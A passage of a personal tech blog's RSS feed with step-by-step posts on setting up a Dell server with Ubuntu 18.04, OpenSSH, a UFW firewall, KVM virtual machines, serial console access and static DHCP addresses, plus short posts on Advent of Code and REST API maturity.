<pre><code>virsh dumpxml maurits-cloud | grep &quot;mac address&quot;
</code></pre>
<p>This shows the XML of the virtual machine named &ldquo;maurits-cloud&rdquo; and searches for
a line that contains the string &ldquo;mac address&rdquo;.</p>
<p>Now show the &ldquo;default&rdquo; network&rsquo;s XML using &ldquo;virsh&rdquo; with the command:</p>
<pre><code>virsh net-dumpxml default
</code></pre>
<p>Now look for the following block:</p>
<pre><code>&lt;dhcp&gt;
  &lt;range start='192.168.122.2' end='192.168.122.254'/&gt;
&lt;/dhcp&gt;
</code></pre>
<p>We change the range to start from 100 instead of 2 with the following commands:</p>
<pre><code>virsh net-update default delete ip-dhcp-range &quot;&lt;range start='192.168.122.2' end='192.168.122.254'/&gt;&quot; --live --config
virsh net-update default add ip-dhcp-range &quot;&lt;range start='192.168.122.100' end='192.168.122.254'/&gt;&quot; --live --config
</code></pre>
<p>And we add a reservation for the specific host based on it&rsquo;s MAC address using:</p>
<pre><code>virsh net-update default add-last ip-dhcp-host &quot;&lt;host mac='52:54:00:b0:59:5e' name='maurits-cloud' ip='192.168.122.10'/&gt;&quot; --live --config
</code></pre>
<p>We can run the following command to check the effectiveness of the changes:</p>
<pre><code>virsh net-dumpxml default
</code></pre>
<p>It should now show:</p>
<pre><code>&lt;dhcp&gt;
  &lt;range start='192.168.122.100' end='192.168.122.254'/&gt;
  &lt;host mac='52:54:00:b0:59:5e' name='maurits-cloud' ip='192.168.122.10'/&gt;
&lt;/dhcp&gt;
</code></pre>
<p>You may want to run the following in the guest to release and renew the DHCP
lease:</p>
<pre><code>sudo dhclient -r &amp;&amp; sudo dhclient
</code></pre>
<p>NB: There is no need to destroy the network or restart any virtual machines like
some manuals suggest.</p>
<h3 id="set-the-dhcp-identifier-in-ubuntu-1804">Set the DHCP identifier in Ubuntu 18.04</h3>
<p>If you have a Ubuntu 18.04 virtual machine, then it may sometimes not retrieve
an IP address based on the MAC address, but on the machine identifier as
specified in &ldquo;<code>/etc/machine-id</code>&rdquo;. Apply the following to make the DHCP client
send the MAC address as DHCP identifier. This ensures that the DHCP server
responds with the static IP address you specified for the MAC address.</p>
<p>Look in the file &ldquo;<code>/etc/netplan/01-netcfg.yaml</code>&rdquo; and look for the line:</p>
<pre><code>dhcp4: yes
</code></pre>
<p>and add the line &ldquo;<code>dhcp-identifier: mac</code>&rdquo; after it, so that it becomes:</p>
<pre><code>dhcp4: yes
dhcp-identifier: mac
</code></pre>
<p>Note that this is a YAML file, so indentation matters.</p>
<h3 id="edit-and-restart-the-network">Edit and restart the network</h3>
<p>In order to make large changes to the network you need to edit the network
configuration:</p>
<pre><code>virsh net-edit default
</code></pre>
<p>After editing the configuration you save the file. The changes will NOT be
effective until you destroy and start the network.</p>
<p>To destroy the network we first need to shutdown all virtual machines. To
shutdown (destroy) a single virtual machine named &ldquo;maurits-cloud&rdquo; you can run:</p>
<pre><code>virsh destroy maurits-cloud
</code></pre>
<p>Instead of &ldquo;destroying&rdquo; the virtual machines it is better to log in to the
virtual machines and power them off manually.</p>
<p>You need to repeat this until all virtual machines have been shutdown. Now you
can then restart the network using:</p>
<pre><code>virsh net-destroy default
virsh net-start default
</code></pre>
<p>Next we need to start the virtual machines again. This command will start the
virtual machine named &ldquo;maurits-cloud&rdquo;:</p>
<pre><code>virsh start maurits-cloud
</code></pre>
<p>After starting all virtual machines you will see that the new network
configuration is in effect for the virtual machines.</p>
<h3 id="change-ip-range">Change IP range</h3>
<p>Sometimes you want to use a different IP range. In the following example we show
how to change the default KVM network from the &ldquo;192.168.122.0/24&rdquo; range to the
&ldquo;10.0.122.0/24&rdquo; range. Let&rsquo;s start by editing our network configuration:</p>
<pre><code>virsh net-edit default
</code></pre>
<p>And look for the line:</p>
<pre><code>&lt;ip address='192.168.122.1' netmask='255.255.255.0'&gt;
</code></pre>
<p>Change it into:</p>
<pre><code>&lt;ip address='10.0.122.1' netmask='255.255.255.0'&gt;
</code></pre>
<p>Also look for the line:</p>
<pre><code>&lt;range start='192.168.122.100' end='192.168.122.254'/&gt;
</code></pre>
<p>Change it into (should fall within the defined address space):</p>
<pre><code>&lt;range start='10.0.122.100' end='10.0.122.254'/&gt;
</code></pre>
<p>Also updates all &ldquo;host&rdquo; lines that look like this:</p>
<pre><code>&lt;host mac='52:54:00:b0:59:5e' name='maurits-cloud' ip='192.168.122.10'/&gt;
</code></pre>
<p>Change them to ensure their IP address is in the correct range (within the
network, but outside the DHCP range):</p>
<pre><code>&lt;host mac='52:54:00:b0:59:5e' name='maurits-cloud' ip='10.0.122.10'/&gt;
</code></pre>
<p>This will NOT be effective until you destroy and start the network.</p>
<h3 id="next-setting-up-port-forwarding-in-kvm">Next: Setting up port forwarding in KVM</h3>
<p>In the next post I will show you how to set up port forwarding to KVM virtual
machines. Port forwarding should be done towards virtual machines with a static
IP address. Without static IP addresses the forwards may point to different
virtual machines machines at some point in time, due to expiring DHCP leases.</p>
<p><a href="https://tqdev.com/2020-kvm-port-forwarding-ufw">Click here to read the next article (on port forwarding in KVM)</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Serial console access from the KVM CLI</title>
      <link>https://www.tqdev.com/2020-serial-console-access-kvm-cli/</link>
      <pubDate>Mon, 13 Jan 2020 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-serial-console-access-kvm-cli/</guid>
      <description>&lt;p&gt;In a &lt;a href=&#34;https://tqdev.com/2020-install-kvm-cli-ubuntu-18-04&#34;&gt;previous post&lt;/a&gt; I have
installed KVM (on Ubuntu 18.04) from the CLI on my Dell R720xd. In this post I
will show how to adjust the GRUB config to enable the serial console in KVM and
how to access it on the KVM CLI. This is great for fixing SSH connectivity
issues and to do easy LUKS password entry during boot. In this post we will also
explore how to allow access to the grub menu from the serial console.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a <a href="https://tqdev.com/2020-install-kvm-cli-ubuntu-18-04">previous post</a> I have
installed KVM (on Ubuntu 18.04) from the CLI on my Dell R720xd. In this post I
will show how to adjust the GRUB config to enable the serial console in KVM and
how to access it on the KVM CLI. This is great for fixing SSH connectivity
issues and to do easy LUKS password entry during boot. In this post we will also
explore how to allow access to the grub menu from the serial console.</p>
<h3 id="enable-the-console-in-grub">Enable the console in GRUB</h3>
<p>In order for the &ldquo;<code>console</code>&rdquo; command of &ldquo;<code>virsh</code>&rdquo; to work you need to modify the
guest&rsquo;s grub config. In the guest run the following command:</p>
<pre><code>sudo nano /etc/default/grub
</code></pre>
<p>Look for the line:</p>
<pre><code>GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash&quot;
</code></pre>
<p>and replace it with the following, or add this line if absent (on CentOS):</p>
<pre><code>GRUB_CMDLINE_LINUX_DEFAULT=&quot;console=ttyS0&quot;
</code></pre>
<p>On CentOS remove &ldquo;<code>rhgb quiet</code>&rdquo; from the line &ldquo;<code>GRUB_CMDLINE_LINUX</code>&rdquo; to ensure
messages are shown.</p>
<p>On Ubunutu this is only effective after running &ldquo;<code>update-grub</code>&rdquo; using:</p>
<pre><code>sudo update-grub
</code></pre>
<p>On CentOS you need to use the &ldquo;<code>grub2-mkconfig</code>&rdquo; command to update the grub
config:</p>
<pre><code>sudo grub2-mkconfig -o /boot/grub2/grub.cfg
</code></pre>
<p>This should write the grub config to disk.</p>
<h3 id="connect-to-the-console">Connect to the console</h3>
<p>To test that it works, we reboot the machine using:</p>
<pre><code>sudo reboot
</code></pre>
<p>After rebooting the VM you can connect to the console using &ldquo;<code>virsh</code>&rdquo; by
running:</p>
<pre><code>virsh console maurits-cloud
</code></pre>
<p>Make sure to disconnect any graphical client (virt-manager) if you see this
error message:</p>
<pre><code>error: operation failed: Active console session exists for this domain
</code></pre>
<p>Console access is very good for emergency SSH connectivity fixes and LUKS
password entry.</p>
<h3 id="grub-menu-via-the-console">Grub menu via the console</h3>
<p>You can also enable access to the grub menu using the console, but I feel this
is not really necessary. The grub menu is already accessible from the VNC
console. But if you do want this, then you should have the following entries in
your &ldquo;<code>/etc/default/grub</code>&rdquo; file (change or add them):</p>
<pre><code>GRUB_TIMEOUT=10
GRUB_TIMEOUT_STYLE=countdown
GRUB_TERMINAL=&quot;console serial&quot;
GRUB_SERIAL_COMMAND=&quot;serial --unit=0 --speed=115200 --word=8 --parity=no --stop=1&quot;
GRUB_CMDLINE_LINUX_DEFAULT=&quot;console=ttyS0&quot;
</code></pre>
<p>Again apply and reboot with:</p>
<pre><code>sudo update-grub
sudo reboot
</code></pre>
<p>You should now see the grub menu when you access the console using the
&ldquo;<code>virsh console</code>&rdquo; command after pressing the escape (Esc) key during the
countdown.</p>
<h3 id="next-assigning-a-static-ip-address-in-kvm">Next: Assigning a static IP address in KVM</h3>
<p>In the next post I will walk you through setting up static IP addresses and
hostnames for your KVM virtual machines. Hostnames allow you to connect to
machines using their name instead of their (DHCP assigned) IP address. Static IP
addresses are a requirement for doing port forwarding, a topic we will touch in
another post in this blog series.</p>
<p><a href="https://tqdev.com/2020-kvm-network-static-ip-addresses">Click here to read the next article (on static ip addresses in KVM)</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Install KVM from the CLI on Ubuntu 18.04</title>
      <link>https://www.tqdev.com/2020-install-kvm-cli-ubuntu-18-04/</link>
      <pubDate>Wed, 08 Jan 2020 15:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-install-kvm-cli-ubuntu-18-04/</guid>
      <description>&lt;p&gt;In a &lt;a href=&#34;https://tqdev.com/2020-install-openssh-ubuntu-18-04&#34;&gt;previous post&lt;/a&gt; I have
installed OpenSSH (on Ubuntu 18.04) on my Dell R720xd. In this post I will show
how to install KVM on it, so that you can start using it as a GNU/Linux
hypervisor to run virtual machines. In this post I will also show how to load a
graphical tool to connect to your KVM enabled server.&lt;/p&gt;
&lt;h3 id=&#34;install-kvm&#34;&gt;Install KVM&lt;/h3&gt;
&lt;p&gt;KVM requires CPU virtualization support (VT-x/AMD-V) to be enabled in the BIOS.
You can check if your CPU is supported by installing cpu-checker and running the
kvm-ok command.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a <a href="https://tqdev.com/2020-install-openssh-ubuntu-18-04">previous post</a> I have
installed OpenSSH (on Ubuntu 18.04) on my Dell R720xd. In this post I will show
how to install KVM on it, so that you can start using it as a GNU/Linux
hypervisor to run virtual machines. In this post I will also show how to load a
graphical tool to connect to your KVM enabled server.</p>
<h3 id="install-kvm">Install KVM</h3>
<p>KVM requires CPU virtualization support (VT-x/AMD-V) to be enabled in the BIOS.
You can check if your CPU is supported by installing cpu-checker and running the
kvm-ok command.</p>
<pre><code>sudo apt install cpu-checker -y
kvm-ok
</code></pre>
<p>This should show:</p>
<pre><code>INFO: /dev/kvm exists
KVM acceleration can be used
</code></pre>
<p>If it does not then reboot, press F2 to enter the BIOS, enable the support and
try again.</p>
<p>Now for the installation of the software</p>
<pre><code>sudo apt-get install qemu-kvm libvirt-bin virtinst bridge-utils cpu-checker
</code></pre>
<p>You may also type <code>groups</code> and verify that you are member of the <code>libvirt</code>
group. Before adding yourself log out and in to see if that adds you to the
group. To test that the installation succeeded you can connect to the hypervisor
by running:</p>
<pre><code>virsh -c qemu:///system list
</code></pre>
<p>The output should be:</p>
<pre><code> Id    Name                           State
----------------------------------------------------
</code></pre>
<p>It is an empty list of virtual machines.</p>
<p>Now on your local computer (not on the server) install the virtual machine
manager by running:</p>
<pre><code>sudo apt install virt-manager
</code></pre>
<p>Now start <code>virt-manager</code> and create a new connection towards your server. This
should use SSH.</p>
<p>NB: You can even run
<a href="https://mangolassi.it/topic/19383/run-virt-manager-on-windows-10">virt-manager on Windows 10</a>
using the Windows Subsystem for Linux (WSL).</p>
<h3 id="create-a-vm">Create a VM</h3>
<p>The command <code>osinfo-query os</code> gets you a list of supported operating systems.
You may have to install this utility first with:</p>
<pre><code>sudo apt install libosinfo-bin
</code></pre>
<p>To see what the <code>os-variant</code> values are for 3 longest supported Ubuntu versions,
run:</p>
<pre><code>osinfo-query --fields=short-id --sort=eol-date os vendor=&quot;Canonical Ltd&quot; | tail -n 3
</code></pre>
<p>This outputs:</p>
<pre><code>ubuntu14.04         
ubuntu16.04         
ubuntu18.04
</code></pre>
<p>To add the image to <code>/var/lib/libvirt/boot</code>, run:</p>
<pre><code>sudo wget http://nl.archive.ubuntu.com/ubuntu-cdimage-xubuntu/releases/18.04/release/xubuntu-18.04.3-desktop-amd64.iso -P /var/lib/libvirt/boot
</code></pre>
<p>You may use the <code>virt-install</code> command to install the latest Xubuntu on a 4 vCPU
8 GB RAM virtual machine, like this:</p>
<pre><code>virt-install \
--name maurits-cloud \
--ram 8192 \
--disk path=/var/lib/libvirt/images/maurits-cloud.qcow2,size=256 \
--vcpus 4 \
--os-type linux \
--os-variant ubuntu18.04 \
--network network=default \
--graphics vnc \
--console pty,target_type=serial \
--cdrom /var/lib/libvirt/boot/xubuntu-18.04.3-desktop-amd64.iso
</code></pre>
<p>You can use the virtual machine manager to execute the (graphical) installation.</p>
<h3 id="next-kvm-console-access-from-the-cli">Next: KVM console access from the CLI</h3>
<p>In the next post I will walk you through setting up serial console access from
the KVM CLI to your virtual machines. This will allow you to quickly fix SSH
connectivity issues in your VM or to enter a full disk encryption (LUKS)
password. I will even explain how you can get access to the grub menu this way.</p>
<p><a href="https://tqdev.com/2020-serial-console-access-kvm-cli">Click here to read the next article (on serial console access)</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Install OpenSSH on Ubuntu 18.04</title>
      <link>https://www.tqdev.com/2020-install-openssh-ubuntu-18-04/</link>
      <pubDate>Sun, 05 Jan 2020 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-install-openssh-ubuntu-18-04/</guid>
      <description>&lt;p&gt;In a &lt;a href=&#34;https://tqdev.com/2020-using-idrac7-on-dell-r720xd&#34;&gt;previous post&lt;/a&gt; I have
installed Ubuntu 18.04 on my Dell R720xd. In this post I will show how to
install OpenSSH on it, so that we no longer need the iDRAC for system
administration. After setting up SSH to securely manage the server we only need
the iDRAC when we misconfigure the firewall or the network.&lt;/p&gt;
&lt;h3 id=&#34;install-openssh&#34;&gt;Install OpenSSH&lt;/h3&gt;
&lt;p&gt;Installing OpenSSH can be done by selecting the &amp;ldquo;OpenSSH server&amp;rdquo; in the software
selection screen of the network installer. Alternatively you can install it, or
ensure that it is installed, by running the following command:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a <a href="https://tqdev.com/2020-using-idrac7-on-dell-r720xd">previous post</a> I have
installed Ubuntu 18.04 on my Dell R720xd. In this post I will show how to
install OpenSSH on it, so that we no longer need the iDRAC for system
administration. After setting up SSH to securely manage the server we only need
the iDRAC when we misconfigure the firewall or the network.</p>
<h3 id="install-openssh">Install OpenSSH</h3>
<p>Installing OpenSSH can be done by selecting the &ldquo;OpenSSH server&rdquo; in the software
selection screen of the network installer. Alternatively you can install it, or
ensure that it is installed, by running the following command:</p>
<pre><code>sudo apt install openssh-server
</code></pre>
<p>This should start and enable the SSH server. To verify that it is running you
can run:</p>
<pre><code>sudo systemctl status ssh.service
</code></pre>
<p>It should output:</p>
<pre><code>systemctl status ssh.service | grep Active:
</code></pre>
<p>It should output:</p>
<pre><code>Active: active (running) since Sun 2020-01-05 23:15:24 CET; 2min 2s ago
</code></pre>
<p>Now you can also test connectivity by running:</p>
<pre><code>nc 0 22
</code></pre>
<p>It should (immediately) output:</p>
<pre><code>SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
</code></pre>
<p>You can end the command with Ctrl-C (or pressing enter twice, triggering a
&ldquo;Protocol mismatch&rdquo;). If your SSH is not running then there will be no output.</p>
<h3 id="enable-the-firewall">Enable the firewall</h3>
<p>To enable UFW (Uncomplicated FireWall) and allow only port 22 (for SSH) towards
this server you can run:</p>
<pre><code>sudo ufw allow 22
sudo ufw enable
</code></pre>
<p>To verify that UFW is running, you can run the following command:</p>
<pre><code>sudo ufw status
</code></pre>
<p>It should output:</p>
<pre><code>Status: active

To                         Action      From
--                         ------      ----
22                         ALLOW       Anywhere                  
22 (v6)                    ALLOW       Anywhere (v6)
</code></pre>
<p>Showing that only port 22 is allowed on both IPv4 and IPv6.</p>
<h3 id="avoid-double-logging">Avoid double logging</h3>
<p>Unfortunately UFW spams the <code>/var/log/syslog</code> by default with &ldquo;block&rdquo; messaging,
while it already logs to <code>/var/log/ufw.log</code>. We can avoid this double logging by
running:</p>
<pre><code>sudo nano /etc/rsyslog.d/20-ufw.conf
</code></pre>
<p>and changing the last line from:</p>
<pre><code>#&amp; stop
</code></pre>
<p>to:</p>
<pre><code>&amp; stop
</code></pre>
<p>To make this effective we need to restart the <code>rsyslog</code> service using:</p>
<pre><code>sudo systemctl restart rsyslog
</code></pre>
<p>Now your UFW log messages should no longer show up in <code>/var/log/syslog</code>.</p>
<h3 id="some-ssh-configuration">Some SSH configuration</h3>
<p>You may want to login to the server using SSH on the machine and transfer your
public keys. You need to put your public keys (one per line) in the file
<code>~/.ssh/authorized_keys</code>.</p>
<p>IMPORTANT: check that you connect to the server without entering a password,
before continuing.</p>
<p>Now you can disable (interactive) password logins in the SSH config by running:</p>
<pre><code>sudo nano /etc/ssh/sshd_config
</code></pre>
<p>change the line:</p>
<pre><code>#PasswordAuthentication yes
</code></pre>
<p>into:</p>
<pre><code>PasswordAuthentication no
</code></pre>
<p>Now restart ssh for these changes to take effect:</p>
<pre><code>sudo systemctl reload ssh.service
</code></pre>
<p>And now the server is online and secure.</p>
<h3 id="resetting-the-firewall">Resetting the firewall</h3>
<p>If you have made a mess of the firewall rules, then you can run the following to
delete all rules (!) and reset everything:</p>
<pre><code>sudo bash -c &quot;ufw -f reset &amp;&amp; iptables -F &amp;&amp; iptables -X &amp;&amp; ufw allow 22 &amp;&amp; ufw -f enable&quot;
</code></pre>
<p>This does not only reset the ufw firewall, but also the (filter chain of the)
underlying iptables firewall. By immediately allowing port 22 and &ldquo;forcing&rdquo; the
two commands that require confirmation you may even run this over a SSH
connection.</p>
<h3 id="ssh-usage-guidelines">SSH usage guidelines</h3>
<p>Here are a few rules on good SSH usage for users:</p>
<ul>
<li>NEVER store your SSH (private) key unencrypted (use <code>ssh-keygen -p</code> to set a
passphrase).</li>
<li>NEVER move (private) keys to another computer, they identify a user at a
computer.</li>
<li>when using a bastion or jump host, use the <code>ssh -A</code> option (do NOT copy
private keys).</li>
</ul>
<p>Please also consider to <a href="https://ef.gy/hardening-ssh">use SSH certificates</a> in
your cloud infrastructure.</p>
<h3 id="next-install-kvm">Next: install KVM</h3>
<p>In the next post I will walk you through a setup of KVM on Ubuntu 18.04 LTS. We
will turn this machine into a proper hypervisor for your virtual machines. I
will do this using open source only and also only from the command line.</p>
<p><a href="https://tqdev.com/2020-install-kvm-cli-ubuntu-18-04">Click here to read the next article (on installing KVM)</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Using an iDRAC7 on a Dell R720xd</title>
      <link>https://www.tqdev.com/2020-using-idrac7-on-dell-r720xd/</link>
      <pubDate>Tue, 31 Dec 2019 11:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-using-idrac7-on-dell-r720xd/</guid>
      <description>&lt;p&gt;I rent a dedicated server at
&lt;a href=&#34;https://www.leaseweb.com/nl/dedicated-servers&#34;&gt;LeaseWeb&lt;/a&gt; (this is NOT a
sponsored post) for my virtual machines. It is a Dell PowerEdge R720xd and I
recently re-installed it. You can let LeaseWeb do this for you, but I prefer to
install the operating system installation myself. Fortunately this is possible
from my own pc, with a cup of coffee next to me, surrounded by the piece and
quiet of my home office.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I rent a dedicated server at
<a href="https://www.leaseweb.com/nl/dedicated-servers">LeaseWeb</a> (this is NOT a
sponsored post) for my virtual machines. It is a Dell PowerEdge R720xd and I
recently re-installed it. You can let LeaseWeb do this for you, but I prefer to
install the operating system installation myself. Fortunately this is possible
from my own pc, with a cup of coffee next to me, surrounded by the piece and
quiet of my home office.</p>
<h3 id="about-the-dell-poweredge-r720xd">About the Dell PowerEdge R720xd</h3>
<p>I feel this is a very good server for various reasons:</p>
<ul>
<li>Popular server that is fully supported by Linux</li>
<li>Fast LSI MegaRAID (rebranded as Perc) controller for fast storage</li>
<li>iDRAC with virtual console for remote access</li>
<li>LeaseWeb offers it with great connectivity</li>
</ul>
<p>If you want your virtual machines to be ultra fast, then choose a model with SSD
drives.</p>
<h3 id="install-any-operating-system">Install any operating system</h3>
<p>The re-installation can be done using the built-in iDRAC7 that is connected to
LeaseWeb&rsquo;s management network that you can reach using OpenVPN. A Java applet on
the web interface of the iDRAC provides remote screen and keyboard/mouse access.
This allows you to enter the BIOS and follow the POST steps. You can also mount
virtual media (an ISO on your computer) and boot that installation disc. This
allows you to install any operating system you want.</p>
<h3 id="use-ubuntu-1404">Use Ubuntu 14.04</h3>
<p>Unfortunately that Java applet uses Java Web Start, a technology that is no
longer available in Java. I&rsquo;ve tested several older versions and found that
OpenJDK 7 runs the iDRAC7 software without any issue. Since Ubuntu 14.04 has
OpenJDK 7 and has <a href="https://ubuntu.com/esm">extended support</a> (ESM until 2022)
you can set that up and connect from there. If you want to quickly setup a
virtual machine you may
<a href="https://www.virtualbox.org/wiki/Downloads">download and install VirtualBox</a>
from Oracle.</p>
<h3 id="setup-openjdk-7">Setup OpenJDK 7</h3>
<p>Once you have Ubuntu 14.04 running in a virtual machine you can run (in the
Terminal):</p>
<pre><code>sudo apt-get install openjdk-7-jdk
</code></pre>
<p>Log in into the iDrac7 and click the &ldquo;Launch the virtual console&rdquo; link to
download the <code>viewer.jlnp</code> file. Now run this file using using IcedTea
implementation of Java Web Start using:</p>
<pre><code>javaws viewer.jlnp
</code></pre>
<p>This does show a few security warnings that you must accept before the
application starts.</p>
<h3 id="black-screen-for-minutes">Black screen for minutes</h3>
<p>The quickest way to install Ubuntu is to use the &ldquo;network installer for 18.04
LTS&rdquo; named <code>mini.iso</code> (for amd64) from ubuntu.com in the &ldquo;Alternative downloads&rdquo;
section. Mount this ISO as virtual media in the virtual console and choose to
boot the next boot from the virtual media. Now reboot the machine and perform
the Ubuntu installation. Note that it will read a lot from the ISO on boot,
while still showing a black screen with a blinking cursor (after showing the
BIOS messages). It was uploading most of the ISO file at that point, so that
took a while, as my upload speed is only 4 megabit per second.</p>
<h3 id="do-not-use-wifi">Do not use WiFi</h3>
<p>The installation process can not deal with disappearing (virtual) media. Think
about it as pulling out your USB stick from the computer during installation. So
when your Internet connection is temporary unavailable, then your upload fails
and the virtual media is gone and the installation fails. therefore I recommend
to avoid the use of WiFi or 4G. Take extra care when you need to resize a
partition as this process will cause data corruption when interrupted.</p>
<h3 id="only-1-month-with-instant-delivery">Only 1 month with instant delivery</h3>
<p>The R720xd is available at LeaseWeb with
&ldquo;<a href="https://www.leaseweb.com/dedicated-servers/instant-delivery">instant delivery</a>&rdquo;.
This means that you will get a dedicated server delivered in hours, not days. It
can be rented on a 1 month contract, so no long contracts either. I feel that
this is a very nice way to try out this cool hardware. Full disclosure: I&rsquo;m a
former employee of LeaseWeb and a big fan of this specific product.</p>
<h3 id="next-install-openssh">Next: install OpenSSH</h3>
<p>In the next post I will walk you through the installation and configuration of
OpenSSH. This will be your default way of managing your server and you will no
longer need the iDRAC. We will also discuss setting up a firewall to block
anything that is not SSH.</p>
<p><a href="https://tqdev.com/2020-install-openssh-ubuntu-18-04">Click here to read the next article (on OpenSSH)</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Advent of Code programming puzzles</title>
      <link>https://www.tqdev.com/2019-advent-of-code-programming-puzzles/</link>
      <pubDate>Mon, 23 Dec 2019 23:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-advent-of-code-programming-puzzles/</guid>
      <description>&lt;p&gt;Every day in December I am doing a programming puzzle. The series is called
&lt;a href=&#34;http://adventofcode.com&#34;&gt;Advent of Code&lt;/a&gt; and it follows the advent calendar
approach. Every day from the 1st until the 25th of December one puzzle is
unlocked. The puzzles get gradually harder and each puzzle has two parts, where
the first part is easier than the second.&lt;/p&gt;
&lt;h3 id=&#34;it-is-not-about-winning&#34;&gt;It is not about winning&lt;/h3&gt;
&lt;p&gt;Well, for some people it is. Only the first 100 answers are rewarded with points
on the &lt;a href=&#34;https://adventofcode.com/2019/leaderboard&#34;&gt;global leader board&lt;/a&gt;. I&amp;rsquo;m
simply not fast enough to compete for a top 100 position. So for me it is not
about winning. For most people it is not, as 95 thousand people have made the
first puzzle and there is only place for 100 entries on the global leader board.
The yearly unofficial survey asks people why they play and the reasons given
are: for the fun (1st), the challenge (2nd) or to improve their skills (3rd).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Every day in December I am doing a programming puzzle. The series is called
<a href="http://adventofcode.com">Advent of Code</a> and it follows the advent calendar
approach. Every day from the 1st until the 25th of December one puzzle is
unlocked. The puzzles get gradually harder and each puzzle has two parts, where
the first part is easier than the second.</p>
<h3 id="it-is-not-about-winning">It is not about winning</h3>
<p>Well, for some people it is. Only the first 100 answers are rewarded with points
on the <a href="https://adventofcode.com/2019/leaderboard">global leader board</a>. I&rsquo;m
simply not fast enough to compete for a top 100 position. So for me it is not
about winning. For most people it is not, as 95 thousand people have made the
first puzzle and there is only place for 100 entries on the global leader board.
The yearly unofficial survey asks people why they play and the reasons given
are: for the fun (1st), the challenge (2nd) or to improve their skills (3rd).</p>
<h3 id="improving-your-skills">Improving your skills</h3>
<p>These puzzles are very well suited for learning a new programming language or
refreshing your skills in a language you don&rsquo;t regularly use. In the past 5
years I have been competing in Go (2015), PHP (2016), Java (2017), Ruby (2018)
and Python (2019). I have put all my answers on GitHub:</p>
<ul>
<li><a href="https://github.com/mevdschee/AdventOfCode2019">Advent of Code 2019 puzzle solutions in Python</a></li>
<li><a href="https://github.com/mevdschee/AdventOfCode2018">Advent of Code 2018 puzzle solutions in Ruby</a></li>
<li><a href="https://github.com/mevdschee/AdventOfCode2017">Advent of Code 2017 puzzle solutions in Java</a></li>
<li><a href="https://github.com/mevdschee/AdventOfCode2016">Advent of Code 2016 puzzle solutions in PHP</a></li>
<li><a href="https://github.com/mevdschee/AdventOfCode2015">Advent of Code 2015 puzzle solutions in Go</a></li>
</ul>
<p>If I compete next year, then I think I will either pick C# or JavaScript.</p>
<h3 id="graphing-the-difficulty">Graphing the difficulty</h3>
<p>I have put the time the first 100 contestants took to solve part 1 (purple) or
part 2 (yellow) per day in a graph (below). As you can see some puzzles can be
solved within a few minutes, while others take several hours. My estimation is
that I&rsquo;m about 3 to 5 times slower than the slowest player on the global leader
board.</p>
<p>
  
    <img src="/uploads/2019/advent-of-code-difficulty_hu_ee1af48ca10c54e3.webp" alt="Advent of Code 2019 difficulty graph"  />
  

<a href="http://www.maurits.vdschee.nl/scatterplot/">(image source)</a></p>
<p>The graph shows that <a href="https://adventofcode.com/2019/day/22">day 22</a> (part 2) was
the hardest puzzle this year. I&rsquo;ve spent almost a full day and I was not able to
solve it. Can you?</p>
<p>Enjoy programming!</p>
]]></content:encoded>
    </item>
    <item>
      <title>How mature is your REST API?</title>
      <link>https://www.tqdev.com/2019-maturity-system-rest-api/</link>
      <pubDate>Wed, 13 Nov 2019 21:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-maturity-system-rest-api/</guid>
      <description>&lt;p&gt;In my career I have seen many REST APIs. They all implement Create Read Update
and Delete (CRUD) on single entities with verbs as described by the REST
standard. All of them do the same 4 (additional) things: column filtering, row
filtering, authorization and document nesting. In this post we will look at a
few implementations and explore a system for maturity qualification of a REST
API implementation.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Column filtering (sparse field-sets)&lt;/li&gt;
&lt;li&gt;Row filtering (with filter language)&lt;/li&gt;
&lt;li&gt;Authorization (on tables, columns, rows)&lt;/li&gt;
&lt;li&gt;Document nesting (based on relations)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As a software architect I&amp;rsquo;m interested in standards and standard
implementations. We will evaluate a few implementations and score the 4
additional tasks on the following scale:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In my career I have seen many REST APIs. They all implement Create Read Update
and Delete (CRUD) on single entities with verbs as described by the REST
standard. All of them do the same 4 (additional) things: column filtering, row
filtering, authorization and document nesting. In this post we will look at a
few implementations and explore a system for maturity qualification of a REST
API implementation.</p>
<ol>
<li>Column filtering (sparse field-sets)</li>
<li>Row filtering (with filter language)</li>
<li>Authorization (on tables, columns, rows)</li>
<li>Document nesting (based on relations)</li>
</ol>
<p>As a software architect I&rsquo;m interested in standards and standard
implementations. We will evaluate a few implementations and score the 4
additional tasks on the following scale:</p>
<ol>
<li>Using it&rsquo;s own implementation of it&rsquo;s own standard</li>
<li>Using it&rsquo;s own implementation of a popular standard</li>
<li>Using a popular implementation of a popular standard</li>
</ol>
<p>Lets get started!</p>
<h3 id="api-maturity-qualification-table">API maturity qualification table</h3>
<p>In the table below you can read the maturity level of various implementations:</p>
<table style="font-size:80%;" cellspacing="10" cellpadding="5"><thead>
<tr style="border-bottom: 1px solid black;"><th>API</th><th>Column filtering</th><th>Row filtering</th><th>Authorization</th><th>Document nesting</th><th>Score</th></tr>
</thead><tbody>
<tr><td>PathQL-Flask/Go</td><td>SELECT / DB</td><td>WHERE / DB</td><td>GRANT / DB</td><td>PathQL / -</td><td>9</td></tr>
<tr><td>PostGraphile</td><td>GraphQL / -</td><td>GraphQL / -</td><td>GRANT / PG</td><td>GraphQL / -</td><td>9</td></tr>
<tr><td>Hasura</td><td>GraphQL / -</td><td>GraphQL / -</td><td>- / -</td><td>GraphQL / -</td><td>6</td></tr>
<tr><td>PostgREST</td><td>- / -</td><td>- / -</td><td>GRANT / PG</td><td>- / -</td><td>3</td></tr>
